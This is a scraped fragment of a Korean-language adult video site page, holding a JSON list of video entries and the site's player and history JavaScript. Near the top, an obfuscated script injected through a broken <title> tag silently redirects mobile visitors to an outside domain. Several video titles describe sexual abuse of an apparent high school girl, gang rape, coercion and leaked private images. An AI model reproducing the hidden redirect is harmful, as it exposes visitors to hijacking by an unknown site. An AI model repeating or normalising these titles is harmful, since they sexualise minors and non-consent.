추천 영상
01:07
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>전문대생, 물질주의적이고 외모에 의존하여 생계를 유지하며, 다양한 형태의 훈련과 항문 성교를 당함.</title></script></title></script>
전문대생, 물질주의적이고 외모에 의존하여 생계를 유지하며, 다양한 형태의 훈련과 항문 성교를 당함.","lastmod":"2026-07-11","duration":"01:07","url":"/play/19153813.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjgyMzVkOGY4Njg3YzBjMjI1NDVhNjZhM2FjNmI0ZGMuanBn.cache","vod_id":19066086,"title":"선라이즈 컬처의 SAP 기술자들은 최고 수준의 서비스를 제공합니다.","lastmod":"2025-03-29","duration":"18:09","url":"/play/19066086.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYmJhZDk2ZDlmZmJkMTNmYWQ1NGIzYjUxZTdlZjJkNmUuanBn.cache","vod_id":19109640,"title":"완벽하게 훈련된 슈퍼 M 걸 맹나이 궈쯔궁의 삽입 및 슈퍼 홀 서비스, 실제 무방비 사정, 육체 화장실 집단 강간, 무명 배우 ENKI_074","lastmod":"2025-12-13","duration":"04:07:13","url":"/play/19109640.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTkvOTdjYzZkYTJiZjI2ODQ5ZDUxZDQxMjE2ZmZlYmYxMzYuanBn.cache","vod_id":19150369,"title":"어린 여고생이 나이 많은 남성에게 무자비하게 성추행을 당했는데, 남성은 그녀의 꽉 조인 질을 계속해서 문지르며 아프냐고 묻게 만들었다.","lastmod":"2026-06-18","duration":"34:55","url":"/play/19150369.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTE5YTBkMmI2MDA3ODEwMGUwODY3ZmU1YzYyNTc4NGYuanBn.cache","vod_id":18974741,"title":"섹시한 빨간 머리 여성이 호텔 주인과 성관계를 갖다","lastmod":"2025-03-28","duration":"11:23","url":"/play/18974741.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjQvMWMxOWM4MWUxYTNlNDA0YmYzOTI0YWVmYWE5ZTk4NDguanBn.cache","vod_id":19151350,"title":"섹시한 여학생이 라이브 스트리밍으로 용돈을 벌면서 남성 팬들의 요구에 따라 가슴을 만지고 은밀한 부위를 애무하는 모습을 대조적으로 묘사합니다. 클로즈업 장면에서는 그녀의 아름다운 외모와 도발적인 신음 소리가 드러나며, 남성 팬들의 모든 욕망과 환상을 충족시켜줍니다.","lastmod":"2026-06-23","duration":"02:34:16","url":"/play/19151350.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTEwNjZmMmM5OGVmMDY0YzllODJmMWRmOWVkMDY2Y2IuanBn.cache","vod_id":19121079,"title":"매혹적인 미모의 승무원이 매일 찍은 셀카가 유출됐다. 완벽한 몸매에 그녀의 은밀한 부위가 마치 숨 쉬는 듯 보인다.","lastmod":"2026-01-28","duration":"11:42","url":"/play/19121079.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYzdkNDUyNzFiNDgyOWFmZmQzYTQxNDJiMWNkMmEzNTMuanBn.cache","vod_id":19108190,"title":"글래머러스한 몸매로 인터넷 스타덤에 오른 '탄샤오퉁'이 나체 요가를 선보이며, 그녀의 엄청나게 큰 가슴이 떨리는 모습을 보여준다.","lastmod":"2025-12-13","duration":"36:58","url":"/play/19108190.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDBjZGU3N2NjN2JkYmJlZDczNjA0YmZiMGQ2NzgwODIuanBn.cache","vod_id":19001227,"title":"Xiuren.com의 인기 여신! 여신 탕안치의 개인 사진: 완벽한 몸매와 아름다운 발을 뽐내는 정교한 수영복과 흰 스타킹 차림.","lastmod":"2025-03-28","duration":"04:56","url":"/play/19001227.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmFkMjdjMGZkMzA0YWMxMGYxNTg0YmU3YjI2ZjI4Y2MuanBn.cache","vod_id":19007452,"title":"곧 대학에 갈 귀여운 토끼 이빨을 가진 어린 사촌 동생을 길들이는 중","lastmod":"2025-03-28","duration":"25:12","url":"/play/19007452.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzg3MzBlNWFhNTljM2MyZjRmNmEyMmI1MzIyZWZiMTMuanBn.cache","vod_id":19017084,"title":"\"천인살인자\"(성인 비디오) - 2020년 8-9월 [AI 고화질 2K 복원] 천인살인자가 문신을 한 여자를 골라 심야 쓰리썸을 즐긴다. 거꾸로 된 자세의 오럴 섹스와 교대 삽입 등 매우 자극적인 장면들이 포함되어 있다.","lastmod":"2025-03-29","duration":"01:18:02","url":"/play/19017084.html"}]},
videoTitle: '최고 수준의 데이트 전문가(P)와 관계를 맺는 여대생들의 모음집. UA는 다양한 젊은 여성과 중년 여성을 유혹하여 호텔 방에서 구강성교, BDSM, 격렬한 성관계 등을 포함한 만남을 강요한다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}
友情链接